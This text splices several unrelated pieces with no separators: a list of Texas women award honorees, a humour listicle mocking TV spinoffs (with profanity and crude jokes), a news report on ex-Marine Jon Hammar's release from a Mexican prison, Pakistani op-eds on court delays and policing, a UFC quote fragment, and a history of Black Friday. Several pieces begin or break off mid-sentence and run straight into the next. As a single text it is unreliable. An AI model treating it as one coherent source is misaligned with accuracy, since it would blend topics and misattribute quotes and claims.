– Ret. Col. Kim Olson (Military Award): President and CEO of Grace Under Fire, a nonprofit serving female veterans; retired Air Force colonel and one of the first female military pilots to command an operational flying squadron; after serving on the Joint Staff and under the Secretary of Defense, she became the Director of Human Resources for the Dallas Independent School District. Also served in Texas State Guard as IT and personnel systems head.
– Anita Perry (Leadership Award): longest-serving First Lady of Texas; former nurse and current advocate for Texas economic development, childhood immunizations, breast cancer awareness, and anti-domestic violence and sexual assault programs; founded the Texas Conference of Women in 2000.
– Dr. Ann Stuart (Education Award): Chancellor and President of Texas Woman’s University; has grown university enrollment 85 percent under her tenure, which began in 1999; supporter of programs benefiting animals and natural spaces, like the Dallas Arboretum and Botanical Garden and Dallas Zoo.
– State Rep. Senfronia Thompson (Public Service Award): longest-serving woman and African-American in the state Legislature; Houston attorney; author of anti-hate crime and human trafficking legislation and laws creating a minimum wage and state drug courts; former public school teacher.
– Deborah Tucker (Community Service Award): Founder of the National Center on Domestic and Sexual Violence; former school teacher and founder of the Austin Center for Battered Women, the nation’s first shelter for abused women and their children.
– Carolyn Wright (Public Service Award): Chief Justice for the 5th Circuit Court of Appeals; first African-American head of a Texas intermediate court of appeal and first black woman to win a multi-county election in the Lone Star State; civil, family and criminal judge with 30 years experience; Houston-born recipient of the Yellow Rose of Texas award for community service.Ridiculous Because: While some projects, like putting together a bookshelf, only require elbow grease and a can-do attitude, we're pretty sure that opening an upscale hotel in one of the most expensive cities in the world takes millions of dollars and years of industry experience. Continue Reading Below Advertisement But that's not to say that these lively gals don't have one thing going for them: the second any of them mentioned sex in front of a guest, they wouldn't have to worry about paying the kitchen staff overtime that day.
"Picture us fucking!" The show was canceled after one season, and producers resisted the temptation to generate another spinoff where the girls buy and run their own island nation.
3 Women of the House Spun Off From: Designing Women Premise: After Suzanne Sugarbaker's (Delta Burke) fifth husband dies, the former Atlanta beauty queen assumes his congressional office and, along with her mentally-handicapped brother, her spry, vivacious daughter, and her sassy administrative assistant, enters the bureaucratic power-labyrinth of Washington D.C. Ridiculous Because: We can buy Delta Burke's marriage to a parliamentarian (although in the deep South we think they're called Grand Wizards). But even before the first poorly-scripted one-liner about Congress being full of more nuts than momma's pecan pie can signal to the audio tech that it's time to light up the "APPLAUSE" sign, the show asks us to accept that not a single person would object to a dead senator's elected position being taken over by his sassy wife. Continue Reading Below Advertisement The show lasted just nine episodes, when CBS abruptly pulled it off the air when they saw that episode 10 featured a "montage of women being brutally abused." CBS demanded the scene be cut (whatever for?) and then just decided to kill the show completely. To be clear, the scene was not of actual women being abused on, like, a hidden camera or something. It was a montage of movies and TV shows, and was supposed to be making some kind of point about the way women are treated in popular culture. Way to stand up for feminism, Show About Wacky Lady Who Marries Her Way Into Congress.
2 The Apprentice: Martha Stewart Spun Off From: The Apprentice Premise: In the same vein as Donald Trump's The Apprentice, Martha Stewart vets an assortment of type-A go-getters in an attempt to find an apprentice to run one of her businesses. The contestants compete in business challenges and are dismissed from the competition if they fail to accurately mimic Stewart's emotionless zeal for homemaking and improvised craft design. Continue Reading Below Advertisement Ridiculous Because: It's a small wonder that NBC executives were capable of casting multiple seasons of the original Apprentice --a series that rewarded its winners with jobs under a man that has declared bankruptcy as many times as he's been divorced. One should never underestimate the enthusiasm of newly-minted MBAs for putting their death-grip on someone else's coattails. But Martha Stewart's claim to "business tycoon" status during the show's taping was pretty suspect since she was under house arrest after having been convicted of perjury, conspiracy, and obstruction of justice for her part in the ImClone stock trading scandal. It's tough to imagine that the contestants being told "Goodbye" each week--Stewart's take on Trump's "You're Fired"--weren't silently thanking their lucky stars for not being tapped as Stewart's shower-room wingman. Job training doesn't usually include learning to file a shank out of an old mop handle.
1 Knight Rider: 2010 Continue Reading Below Advertisement Spun Off From: Knight Rider Premise: Knight Rider 2010 was a made-for-TV movie that takes place in the post-apocalyptic wasteland of a little more than a year from now. The story followed Jake MacQueen, a futuristic smuggler whose lover, Hannah, is killed. However, before death she stored her personality in a crystal computer memory storage, which winds up implanted in a beat-up Ford Mustang. Ridiculous Because: You may think it's unfair that we mock the show for failing to accurately predict the world of 2010, but that future was only 16 years away at the time the show was made (1994). That means the writers still thought that society was less than two decades away from: 1) developing personality-storing crystals and 2) devolving into a wasteland of human slavery. But all of that aside, this has to be the most tangential connection to an original show any spinoff has ever had. It's a complete rebooting that takes place in an entirely different, and far stupider, universe. The "KITT" in this show doesn't even show up until half way through, and when it does, Instead of a cool-ass talking car that fights crime we wind up with a shitty car possessed by the hero's dead girlfriend.
"We never just talk anymore." The concept didn't survive beyond the one movie, which is too bad because we were sort of hoping it would at least last long enough for the inevitable scene where the hero makes passionate love to the car.
You can read more of Eric's stuff at his satirical dating advice column, Ask Jimmy Suede. For shows that failed to spin-off even a second episode, check out 6 Shows (Thankfully) Canceled After One Episode. Or read about a fictional character who spun off real-world acts of super-human resourcefulness in The 5 Most Amazing Real Life MacGyver Moments.
More ArticlesThe ordeal for Jon Hammar Jr., who languished under deplorable conditions in a violent Mexican prison for four months, is finally over.
Jon Hammar Sr. has confirmed that his 27-year-old son, a Marine combat veteran, is back on U.S. soil and with him in a rented car in Brownsville, Texas.
Hammar Sr. said his son was released from the notorious CEDES prison at 8 p.m. local time and made it back across the bridge between Matamoros, Mexico and Brownsville, Texas by around 8:30 p.m.
The ex-Marine, who was arrested at the same border crossing Aug. 13 after attempting to declare an antique shotgun, was suffering from a stomach virus, his father told Fox News as he and his son drove from the border looking for a hotel to spend the night.
"We're both tired and at our wits end," Hammar Sr. said. "We're glad he's out of there."
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His son declined interviews.
State Department spokesman Patrick Ventrell said in a statement that Jon Hammar Jr. was met at the prison by officials from the U.S. Consulate General in Matamoros and escorted to the U.S. border.
"We sincerely appreciate the efforts on the part of Mexican authorities to ensure that an appropriate resolution was made in accordance with Mexican law, and that Mr. Hammar will be free to spend the holidays with his loved ones," Ventrell said.
Hammar Sr. said because it was dark he could not get a good look at his son to see how the ordeal affected him physically.
He did express concern for the post-traumatic stress disorder his son has been battling since 2008.
Hammar Sr. said he and his wife heard from their son's attorney, Eddie Varon-Levy, Thursday night that their son was going to be released from prison today.
He quickly caught a flight and spent the day anxiously waiting for his son's repatriation.
"It took them all freaking day to process him out," Hammar Sr. said.
Now begins the rebuilding process for Jon Hammar Jr., who will make the 22 hour drive with his father back to their Palmetto Bay, Fla. home, to be reunited with his mother Olivia, and to spend Christmas at home.JUSTICE DELAYED IS JUSTICE DENIED By Salauddin Ahmed Some months ago, Chief Justice Anwar Zaheer Jamali declared that there is no deficiency with the existing judicial system, ‘which is very well-tested’. According to him, certain ‘external factors’ were responsible for delays in the system. However, the family of Ghulam Sarwar and Ghulam Qadir may have a different take on the judicial system. Both brothers were executed by prison authorities a year before the Supreme Court eventually pronounced them innocent. Mohammad Anar and Mazhar Farooq, having been tested by this ‘well-tested’ system, are just as unlikely to share the CJ’s sanguinity. They were recently acquitted by the apex court after having endured 24 and 11 years in prison respectively. Unlike the learned CJ, they might not know that Article 10-A of the Constitution guarantees them a “fair trial and due process” while Article 37 promises them “inexpensive and expeditious justice”. It takes between 20 to 30 years to eventually resolve any moderately complex civil suit through the litigation system It takes between 20 to 30 years to eventually resolve any moderately complex civil suit through the litigation system after exhausting numerous rounds of appeals, revisions and remands. Criminal cases may take marginally less time to finally resolve. These are not headline-worthy aberrations, this is the norm. If one even puts aside the injustice on litigants wreaked through these delays, the impact is greatly detrimental to the law-abiding fabric of society. Individuals are able to peacefully co-exist in civilised societies through the mutual observance of certain agreed upon rules. They are motivated to observe and internalise those rules when punishment for transgressions are swift and certain. When this assurance is lost, when punishments are uncertain and long-delayed, or when the innocent are punished as frequently as the guilty, the entire fabric underpinning civilisation and the rule of law unravels. The failure to provide such assurance explains the unrest and anarchy prevailing in every segment of society. Delays in the judicial system are not due to any ‘external factors’ but are endemic; pointing fingers at ‘external factors’ is nothing more than blame-shifting. The most glaring causes include outmoded court procedures and inefficient case management techniques. Then, with a culture – among judges, lawyers, prosecutors and the police – that is lackadaisical about procedural rules and timelines, further delays become inevitable. To add, inadequate physical and human infrastructure is unable to keep up with the growing population and litigation demands. These causes can be addressed by a resolute judiciary, but that does not factor in the obdurate refusal of the legal community to recognise systemic flaws in the system. Archaic court procedures The criminal procedure code is 118-years old while the civil procedure code is 108-years old. While our court/case management rules vary from province to province, they are generally about 70 to 80 years old. A product of the British Raj, the nature of criminal and criminal disputes was altogether different and the resources and technologies available to courts, lawyers and the litigant public were incomparable. They are overly technical, allow for endless rounds of appeals, reviews and revisions, and generally tilt towards sacrificing efficiency at the altar of thoroughness. It makes sense to introduce greater efficiency and update these rules in keeping with current realities and new developments in global practices. Reforming judicial functions Then, there is the argument that there is no point in reforming or disciplining courts unless other actors in the judicial system – lawyers, state counsels and prosecutors, and police investigations – are simultaneously reformed. Given that none have shown great inclination towards self-discipline, it is pointless trying to effect judicial reform in isolation. Judges drive and control the judicial process while other actors follow their lead, at times reluctantly and begrudgingly – in the case of the bar, they may even show their pique through strikes. Ultimately, if these participants want to obtain their desired objectives then they must follow the judicial lead. The SC has brooked no interference from any quarter in any matter relating to performance. Long ago, it wrested away – from the government – all powers to appoint judges. When parliament asserted its right to scrutinise judicial appointments, the SC forced parliament to amend the Constitution rendering the parliamentary committee toothless. In the past 20 years, the monthly remuneration of superior court judges has increased from around Rs35,000 to more than Rs1,000,000 The apex court refused to allow its accounts to be audited by the public accounts committee and refused to allow its registrar to appear before the committee. When it felt that judges and their staff were underpaid, it issued a judicial policy, which gave them a three-fold enhancement and directly or indirectly compelled various federal and provincial governments to approve such enhancements. It is neither a coincidence nor an inflation-related phenomenon that the monthly remuneration of superior court judges has, in the past 20-years, crept up from around Rs35,000 to more than Rs1,000,000. If the SC was serious about enhancing the infrastructure of all courts, what government could really stop it? The truth is that our apex court is not serious about reforming the court system. It will happily initiate suo moto inquiries and pass directives for reforming provincial policing systems, land revenue record-keeping, appointments, promotions and transfers in the civil service generally – but not for reforming the judicial system itself. It will devote the full-time services of a SC judge to various inquiry commissions ranging from electoral malpractices or even into the purchase of a couple of London flats – but the only half-hearted attempt at court system reform in recent years (by way of the Judicial Policy, 2009) merited nothing more than the part-time attention of the apex court’s registrar. Any meaningful exercise towards judicial reform and minimisation of court delays would require, at very least, the full-time devotion of a SC judge and at least two high court judges (each specialising in criminal and civil law respectively) to a time-bound commission tasked with the identification of causes of and reforms for judicial delay. Naturally, the identification of delays must rest on meaningful and empirical data collected by the commission rather than assumptions and anecdotal accounts. Moreover, the commission should include or at least solicit the views of other participants in the system including lawyers, prosecutors, police and government. Most importantly, it must attempt to survey the views of the actual users/sufferers of the system – the litigants, complainants, witnesses and the accused. A chief justice able to effect such reform successfully would secure a legacy far more enduring than that secured through any judgments – no matter how bold or far-reaching. Physician, heal thyself. The writer is a barrister who practices constitutional and civil law. He can be reached at salahuddin.law@gmail.com. Published in Dawn, Dec 19, 2016.
DISTRUSTED AND INCOMPETENT: THE BROKEN POLICE FORCE By Tariq Khosa Law and arbitrary power are in eternal conflict, said Edmund Burke at the trial of Warren Hastings on Feb. 16, 1788. Fast forward to the 21st century, this dilemma still haunts Pakistan. In a polity increasingly contemptuous of law and careless of order, citizens will get the police force that they deserve. Pakistan has reached a stage where comprehensive justice sector reforms cannot be ignored by the state and society. Terrorism, insurgency and organised crime pose daunting challenges to the writ of the government. One of the key points of the National Action Plan was to reform the criminal justice system, including policing, prosecution services, the judiciary and prisons. Even after two years of expression of national resolve to combat terrorism effectively and professionally, the results reveal a mix of sporadic initiatives and attempts at capacity-building of civilian law-enforcement agencies. The resultant void is being filled with excessive reliance on civil armed forces, such as the Rangers in Karachi and the Frontier Corps in Balochistan. Military operations are a short-term remedy to recapture territorial spaces like Fata; and the security bubble must be consolidated with effective criminal justice processes and civilian governance institutions. This year, the IG Punjab received 10,253 complaints for the non-registration of FIRs; 1,283 complaints for the registration of false cases; 861 for seeking bribes Far-reaching reforms should be the main goal of all the state stakeholders wanting peace and order to be truly restored in the country. The question is where to begin instituting reform. Undoubtedly, a starting point should be an institution which is the first point of contact with citizens seeking redress of their grievances as victims of crime, injury or insult. When citizens are insecure, they turn to institutions tasked by law to protect them – institutions that they trust. However, admittedly, the police have failed to inspire that confidence and as this paper has correctly pointed out editorially on December 1, “the image that prevails in Pakistan is of a corrupt, inefficient force that preys on the citizenry and is beholden to its political masters”. In other words, the police are perceived as a professionally inept, politicised, brutal and corrupt force. It is, therefore, crucial to reform this instrument of law |
like a brother to me, a training partner. I wish him the best of luck, and if he’s going to fight for the belt, I’m going to be in the gym to help him.”
With just a few weeks until Hendricks and Lawler mix it up for the championship belt St-Pierre never officially lost, the former titleholder could understandably have feelings of regret when he sees the belt, which he held for nearly six years, awarded to someone else.
St-Pierre, though, is adamant that’s not that case, and while his hiatus from the sport was meant to distance himself from the intensity of competition, he’ll be tuning in for the UFC 171 headliner.
“I’m going to watch it,” St-Pierre said. “Either of them can get a knockout, but I believe Johny is the better wrestler. If he wants to use wrestling, it will be a big advantage. Anything can happen in the fight, so we’ll see who wins.”
For the latest on UFC 171, stay tuned to the UFC Rumors section of the site.Black Friday is an informal name for the Friday following Thanksgiving Day in the United States, which is celebrated on the fourth Thursday of November. The day after Thanksgiving has been regarded as the beginning of America's Christmas shopping season since 1952, although the term "Black Friday" didn't become widely used until more recent decades.
Many stores offer highly promoted sales on Black Friday and open very early, such as at midnight, or may even start their sales at some time on Thanksgiving. Black Friday is not an official holiday, but California and some other states observe "The Day After Thanksgiving" as a holiday for state government employees, sometimes in lieu of another federal holiday, such as Columbus Day. Many non-retail employees and schools have both Thanksgiving and the following Friday off, which, along with the following regular weekend, makes it a four-day weekend, thereby increasing the number of potential shoppers.
Black Friday has routinely been the busiest shopping day of the year in the United States since 2005,[2] although news reports, which at that time were inaccurate,[3] have described it as the busiest shopping day of the year for a much longer period of time.[4] Similar stories resurface year upon year at this time, portraying hysteria and shortage of stock, creating a state of positive feedback.
In 2014, spending volume on Black Friday fell for the first time since the 2008 recession. $50.9 billion was spent during the 4-day Black Friday weekend, down 11% from the previous year. However, the U.S. economy was not in a recession. Christmas creep has been cited as a factor in the diminishing importance of Black Friday, as many retailers now spread out their promotions over the entire months of November and December rather than concentrate them on a single shopping day or weekend.[5]
The earliest evidence of the phrase Black Friday applied to the day after Thanksgiving in a shopping context suggests that the term originated in Philadelphia, where it was used to describe the heavy and disruptive pedestrian and vehicle traffic that would occur on the day after Thanksgiving. This usage dates to at least 1961. More than twenty years later, as the phrase became more widespread, a popular explanation became that this day represented the point in the year when retailers begin to turn a profit, thus going from being "in the red" to being "in the black".[6][7][8][9]
For many years, it was common for retailers to open at 6:00 a.m., but in the late 2000s many had crept to 5:00 or 4:00. This was taken to a new extreme in 2011, when several retailers (including Target, Kohl's, Macy's, Best Buy, and Bealls)[10] opened at midnight for the first time.[11] In 2012, Walmart and several other retailers announced that they would open most of their stores at 8:00 p.m. on Thanksgiving Day, prompting calls for a walkout among some workers.[12] In 2014, stores such as JCPenney, Best Buy, and Radio Shack opened at 5:00 PM on Thanksgiving Day while stores such as Target, Walmart, Belk, and Sears opened at 6:00 PM on Thanksgiving Day.[13][14] Three states, Rhode Island, Maine, and Massachusetts, prohibit large supermarkets, big box stores, and department stores from opening on Thanksgiving, due to what critics refer to as blue laws.[15][16][17] The Massachusetts ban on forcing employees to work on major holidays is not a religion-driven "blue law" but part of the state's Common Day of Rest Law.[18] A bill to allow stores to open on Thanksgiving Day was the subject of a public hearing on July 8, 2017.[19]
There have been reports of violence occurring between shoppers on Black Friday. Since 2006, there have been 12 reported deaths and 117 injuries throughout the United States.[20] It is common for prospective shoppers to camp out over the Thanksgiving holiday in an effort to secure a place in front of the line and thus a better chance at getting desired items. This poses a significant safety risk, such as the use of propane and generators in the most elaborate cases, and in general, the blocking of emergency access and fire lanes, causing at least one city to ban the practice.[21] Since the start of the 21st century, there have been attempts by retailers with origins in the United States to introduce a retail "Black Friday" to other countries around the world. In several countries, local retailers have attempted to promote the day to remain competitive with US-based online retailers.[22]
Origin of the term [ edit ]
For centuries, the adjective "black" has been applied to days upon which calamities occurred. Many events have been described as "Black Friday", although the most significant such event in American History was the Panic of 1869, which occurred when financiers Jay Gould and James Fisk took advantage of their connections with the Grant Administration in an attempt to corner the gold market. When President Grant learned of this manipulation, he ordered the Treasury to release a large supply of gold, which halted the run and caused prices to drop by eighteen percent. Fortunes were made and lost in a single day, and the president's own brother-in-law, Abel Corbin, was ruined.
The earliest known use of "Black Friday" to refer to the day after Thanksgiving occurs in the journal, Factory Management and Maintenance, for November 1951, and again in 1952. Here it referred to the practice of workers calling in sick on the day after Thanksgiving, in order to have a four-day weekend. However, this use does not appear to have caught on. Around the same time, the terms "Black Friday" and "Black Saturday" came to be used by the police in Philadelphia and Rochester to describe the crowds and traffic congestion accompanying the start of the Christmas shopping season. In 1961, the city and merchants of Philadelphia attempted to improve conditions, and a public relations expert recommended rebranding the days, "Big Friday" and "Big Saturday"; but these terms were quickly forgotten.[7][8][23][24]
Use of the phrase spread slowly, first appearing in The New York Times on November 29, 1975, in which it still refers specifically to "the busiest shopping and traffic day of the year" in Philadelphia. Although it soon became more widespread, The Philadelphia Inquirer reported in 1985 that retailers in Cincinnati and Los Angeles were still unaware of the term.[25]
As the phrase gained national attention in the early 1980s, merchants objecting to the use of a derisive term to refer to one of the most important shopping days of the year suggested an alternative derivation: that retailers traditionally operated at a financial loss for most of the year (January through November) and made their profit during the holiday season, beginning on the day after Thanksgiving.[7] When this was recorded in the financial records, once-common accounting practices would use red ink to show negative amounts and black ink to show positive amounts. Black Friday, under this theory, is the beginning of the period when retailers would no longer be "in the red", instead taking in the year's profits.[7][25][26] The earliest known published reference to this explanation occurs in The Philadelphia Inquirer for November 28, 1981.[27]
In 2013, an internet rumor alleged that the phrase originated in the American south before the Civil War, from the practice of selling slaves on the day after Thanksgiving. This was debunked by Snopes.com in 2015.[23]
History [ edit ]
The day after Thanksgiving as the unofficial start of the holiday shopping season may be linked together with the idea of Santa Claus parades. Parades celebrating Thanksgiving often include an appearance by Santa at the end of the parade, with the idea that 'Santa has arrived' or 'Santa is just around the corner' because Christmas is always the next major holiday following Thanksgiving.
In the late 19th and early 20th centuries, many Santa or Thanksgiving Day parades were sponsored by department stores. These included the Toronto Santa Claus Parade, in Canada, sponsored by Eaton's, and the Macy's Thanksgiving Day Parade sponsored by Macy's. Department stores would use the parades to launch a big advertising push. Eventually, it just became an unwritten rule that no store would try doing Christmas advertising before the parade was over. Therefore, the day after Thanksgiving became the day when the shopping season officially started.
Thanksgiving Day's relationship to Christmas shopping led to controversy in the 1930s. Retail stores would have liked to have a longer shopping season, but no store wanted to break with tradition and be the one to start advertising before Thanksgiving. For this reason, in 1939, President Franklin D. Roosevelt issued a presidential proclamation proclaiming Thanksgiving to be the fourth Thursday in November rather than the last Thursday, meaning in some years one week earlier, in order to lengthen the Christmas shopping season.[28] Most people adopted the President's change, which was later reinforced by an act of Congress, but many continued to celebrate Thanksgiving Day on the traditional date.[28] Some started referring to the new date as Franksgiving.
In 2015, Amazon.com held a "Prime Day" event in July and promised better deals than on Black Friday, with repeat Prime Days taking place in 2016 and 2017. Other companies followed with "Black Friday in July" deals which were as good as, or better than, those in November.[29]
Black Thursday [ edit ]
For many years, retailers pushed opening times on Black Friday earlier and earlier, eventually reaching midnight, before opening on the evening of Thanksgiving. In 2009, Kmart opened at 7:00 a.m. on Thanksgiving, in order to allow shoppers to avoid Black Friday traffic and return home in time for dinner with their families. Two years later, a number of retailers began opening at 8:00 or 9:00 p.m., on what became derisively known as "Black Thursday". In subsequent years, other stores have followed this trend, opening earlier and earlier on Thanksgiving Day, or remaining open all day, beginning in the early morning hours.[30][31] Some retail and media sources have used the terms "Gray Thursday" or "Brown Thursday" instead.[32][33][34]
The 2014 "Black Thursday" sales were, in general, a failure, as overall sales for the holiday weekend fell 11% compared to the previous year despite heavy traffic at the stores on Thanksgiving night.[35] In response, a number of retailers decided to go back to closing on Thanksgiving for 2015, and Walmart, although it is holding firm opening on the holiday and holding its sale, also pledged to offer the same deals online for those who wished to stay home.[36]
Around the world [ edit ]
High discounts at a store during Black Friday
United States [ edit ]
Interior of a Target store on Black Friday
Black Friday shoppers in the morning at Walmart store in Durham, North Carolina
The SouthPark neighborhood of Charlotte, North Carolina, is the most trafficked area of the United States on Black Friday.[37][38]
Black Friday is a shopping day for a combination of reasons. As the first day after the last major holiday before Christmas, it marks the unofficial beginning of the Christmas shopping season. Additionally, many employers give their employees the day off as part of the Thanksgiving holiday weekend. In order to take advantage of this, virtually all retailers in the country, big and small, offer various sales including limited amounts of doorbuster/doorcrasher/doorsmasher items to entice traffic. The early 2010s have seen retailers extend beyond normal hours in order to maintain an edge or to simply keep up with the competition. Such hours may include opening as early as 12:00 am or remaining open overnight on Thanksgiving Day and beginning sale prices at midnight. In 2010, Toys 'R' Us began their Black Friday sales at 10:00 pm on Thanksgiving Day and further upped the ante by offering free boxes of Crayola crayons and coloring books for as long as supplies lasted. Other retailers, like Sears, Express, MK, Victoria's Secret, Zumiez, Tillys, American Eagle Outfitters, Nike, Jordan, Puma, Aéropostale, and Kmart, began Black Friday sales early Thanksgiving morning and ran them through as late as 11:00 pm Friday evening. Forever 21 went in the opposite direction, opening at normal hours on Friday, and running late sales until 2:00 am Saturday morning.[39][40] Historically, it was common for Black Friday sales to extend throughout the following weekend. However, this practice has largely disappeared in recent years, perhaps because of an effort by retailers to create a greater sense of urgency.
The news media usually give heavy play to reports of Black Friday shopping and their implications for the commercial success of the Christmas shopping season, but the relationship between Black Friday sales and retail sales for the full holiday season is quite weak and may even be negative.[41]
On April 23, 2014,.blackfriday joined a growing list of ICANN top-level domains (such as—traditionally—.com,.net, and.org).[42][43]
In 2015, Neil Stern of McMillan Doolittle said, "Black Friday is quickly losing its meaning on many fronts," because many stores opened on Thanksgiving, and a lot of sales started even earlier than that. Online shopping also made the day less important.[44][44] A Gallup poll in 2012 has shown that only 18% of American adults approve of Black Friday, which is significantly lower than the percentage of American adults that approve of the controversial holiday Columbus Day, which is at 58%.[45][46]
Canada [ edit ]
The large population centers on Lake Ontario and the Lower Mainland in Canada have always attracted cross-border shopping into the US states, and as Black Friday became more popular in the US, Canadians often flocked to the US because of their lower prices and a stronger Canadian dollar. After 2001, many were traveling for the deals across the border. Starting in 2008 and 2009, due to the parity of the Canadian dollar compared with the American dollar, several major Canadian retailers ran Black Friday deals of their own to discourage shoppers from leaving Canada.[47][48]
The year 2012 saw the biggest Black Friday to date in Canada, as Canadian retailers embraced it in an attempt to keep shoppers from travelling across the border.[49]
Before the advent of Black Friday in Canada, the most comparable holiday was Boxing Day in terms of retailer impact and consumerism. Black Fridays in the US seem to provide deeper or more extreme price cuts than Canadian retailers, even for the same international retailer.
United Kingdom [ edit ]
In the United Kingdom, the term "Black Friday" originated within the Police and NHS to refer to the Friday before Christmas. It is the day when emergency services activate contingency plans to cope with the increase in workload due to many people going out drinking on the last Friday before Christmas. Contingencies can include setting up mobile field hospitals near City Centre nightspots.[50] The term has then been adopted outside those services to refer to the evening and night of the Friday immediately before Christmas, and would now be considered a mainstream term and not simply as jargon of the emergency services.
Since the start of the 21st century, there have been attempts by retailers with origins in the United States such as Amazon to introduce a retail "Black Friday" as it would be understood by Americans, into the United Kingdom.[51][52] In 2013 Asda (a subsidiary of the American firm Walmart) announced its "Walmart's Black Friday by ASDA" campaign promoting the American concept of a retail "Black Friday" in the UK. Some online and in-shop companies have adopted the American-style Black Friday sale day, although others appear sceptical, with one 2013 comment piece in the trade publication Retail Week labelling it "simply an Americanism, which doesn't translate very well."[53]
In 2014, more UK-based retailers adopted the Black Friday marketing scheme than ever. Among them were ao.com, very.co.uk, John Lewis and Argos, who all offered discounted prices to entice Christmas shoppers. During Black Friday sales in 2014, police forces were called to shops across Britain to deal with crowd control issues, assaults, threatening customers and traffic issues.[54] Sir Peter Fahy, Chief Constable of Greater Manchester Police, stated: "The events of last night were totally predictable and I am disappointed that stores did not have sufficient security staff on duty."[55] In response to incidents at branches of Tesco, Greater Manchester Police's deputy chief constable Ian Hopkins said that shoppers had behaved in an "appalling" fashion and the lack of planning from retailers was "really disappointing": "They should have planned appropriately with appropriate levels of security to make sure people were safe. They have primary responsibility to keep people safe and they can't rely on the police to turn up and bail them out and that's what happened last night."[56]
Asda announced that it would not take part in the 2015 Black Friday.[57][58] In 2015, Black Friday was predicted to become the biggest day of shopping in Britain, with as much as £2bn spent in shops and online in 24 hours.[59][60] However, many large retailers have discontinued, downplayed or heavily modified the concept since 2014, sometimes citing disruption to Christmas trading patterns or bad publicity.[61][62]
Black Friday appears to be growing in popularity year on year in the UK. In 2016, total spending on online retail sites on Black Friday 2016 was £1.23bn, marking a +12.2% increase on the £1.1bn spent on the same day in 2015.[63][64] In 2017, retail sales in the UK grew faster in November than in December for the first time.[65]
Mexico [ edit ]
In Mexico, Black Friday was the inspiration for the government and retailing industry to create an annual weekend of discounts and extended credit terms, El Buen Fin, meaning "the good weekend" in Spanish.[66] El Buen Fin has been in existence since 2011 and takes place on November in the weekend prior to the Monday in which the Mexican Revolution holiday is pushed from its original date of November 20, as a result of the measure taken by the government of pushing certain holidays to the Monday of their week in order to avoid the workers and students to make a "larger" weekend (for example, not attending in a Friday after a Thursday holiday, thus making a 4-day weekend). On this weekend, major retailers extend their store hours[67] and offer special promotions, including extended credit terms and price promotions.
Romania [ edit ]
The concept was imported in Romania by eMAG [ro] and Flanco in 2011 and became bigger each year. The two reported the biggest Black Friday sales in 2014. eMAG sold products worth some 37 million euros while Flanco's sales totaled 22 million euros. Hundreds of retailers announced their participation in the 2015 campaign.[68]
In 2015, 11 million Romanians say they have heard about Black Friday which is 73% of the 15 million people target segment. 6.7 million plan on buying something on biggest shopping event of the year in Romania.[69]
In Romania, Black Friday is one week before the US Black Friday.
India [ edit ]
Black Friday is little known in India, as its shopping seasons are different. The busiest times for shopping in India (and hence the times with the biggest discounts) tend to be Diwali, followed by regional festivals like Ugadi and Pongal in South India, Ganeshotsav in Maharasthra, Baisakhi in Punjab and Onam in Kerala. Over the past decade, Independence day sales (on 15 August) have become a large attraction, though most sales in India last for a period of one week.[70]
The growing number of e-commerce websites and large retail shopping centers has contributed to such sales. The big e-commerce retailers in India are trying to emulate the concept of shopping festivals from the United States like Black Friday and Cyber Monday. Flipkart, Snapdeal and Amazon have been offering discounted products on the major festivals in India. December witnesses the Great Online Shopping Festival (also called GOSF) for three days where people shop from all the major e-commerce players and large FMCG brands. From 2015, Google has now stopped the GOSF.[71] The aim was to bring leading e-commerce players on a single platform and boost online shopping in India. Survey[72] during GOSF 2014 suggests that 90% of consumers were satisfied with the exclusive discounts offered in GOSF. According to Google Trends, the interest for Black Friday is rising every year. Comparing the search volume of the term Black Friday in November 2012 and November 2013, the increase is almost 50 percent (22,200 is the search volume in November 2012 and 33,100 is the search volume in November 2013, according to the Google Adwords).
France [ edit ]
French businesses are slowly introducing the Black Friday custom into the market.[73] Discounts of up to 85% were given by retailing giants such as Apple and Amazon in 2014.[74] French electronics retailers such as FNAC and Auchan advertised deals online while Darty also took part in this once a year monster Sale. Retailers favored the very American term "Black Friday" to "Vendredi noir" in their advertisements.[75] In 2016, because of the terror attacks in Paris in November the year before, some retailers used the name "Jour XXL" (XXL day) instead of Black Friday.[76] An alternative was brought up by some online businesses in 2018, called "French Days",[77] which goal is to replicate Black Friday during spring season (starting around the first day of May).
Germany [ edit ]
In Germany, "Black Friday" retailer advertisements refer to "Black Week" and "Black Shopping" in English language, with sales lasting an entire week (excluding Sundays when most retail stores are closed). During this sale time, stores keep their normal working hours; and though goods are offered at reduced prices, the prices are no more significantly slashed than normal weekly price reductions. Apple was the first company to run a special Black Friday campaign for the German market in 2006.[78] In the first years, mostly internet retailers have used the event as an occasion to attract new customers with discounts, but bricks and mortar stores have already begun to adapt the shopping event. For the first time ever, German customers spent more than €1 billion during the Black Friday weekend in 2016: According to a Centre for Retail Research study, German customers spend around €1.3 billion ($1.54 billion) during the four days from Black Friday to Cyber Monday 2016.[79]
Switzerland [ edit ]
In 2015, Swiss retailer Manor was the first to launch a special Black Friday promotion. The year after, most Swiss retailers launched special offers during the Black Friday Week. It is estimated that customers spend around 88 million Swiss Francs in onlineshops alone on Black Friday 2018.
Australia and New Zealand [ edit ]
In recent years, Black Friday has been promoted in Australia by in-store and online retailers. In 2011, Online Shopping USA hosted an event on Twitter. Twitter users had to use the hashtag #osublackfriday and it allowed them to follow along and tweet favourite deals and discounts from stores.[80] In 2013, Apple extended its Black Friday deals to Australia. Purchasing online gave customers free shipping and free iTunes gift cards with every purchase. The deals were promoted on their website, it read "Official Apple Store—One day Apple shopping event Friday, November 29".[81] Australia Post's ShopMate parcel-forwarding service allows Australian customers to purchase products with "Black Friday" deals from the US and get them shipped to Australia. In addition to this, numerous stores in the country run Black Friday promotions in-store and online throughout the country.[82]
Black Friday started picking up in New Zealand around 2013. In 2015, major retailers such as The Warehouse, Noel Leeming and Harvey Norman offered Black Friday sales,[83] and by 2018 were joined by Farmers, JB Hi-Fi, Briscoes and Rebel Sport. Paymark, which processes around 75 percent of New Zealand's electronic transactions, recorded $219 million NZD (US$151 million) of transactions on Black Friday 2017, up over 10 percent from the previous year.[84]
Other countries [ edit ]
In Norway, Black Friday started as a publicity stunt campaign back in 2010 to increase the sales to the shopping mall Norwegian Outlet. Since the introduction, it has been promoted every year in a larger and growing market all over the country.[85]
Black Friday is known as Viernes Negro in Costa Rica.[86] In Panama, Black Friday was first celebrated in 2012, as a move from the Government to attract local tourism to the country's capital city. During its first year, it was believed to have attracted an inflow of about 35,000 regional tourists according to the government's immigration census.
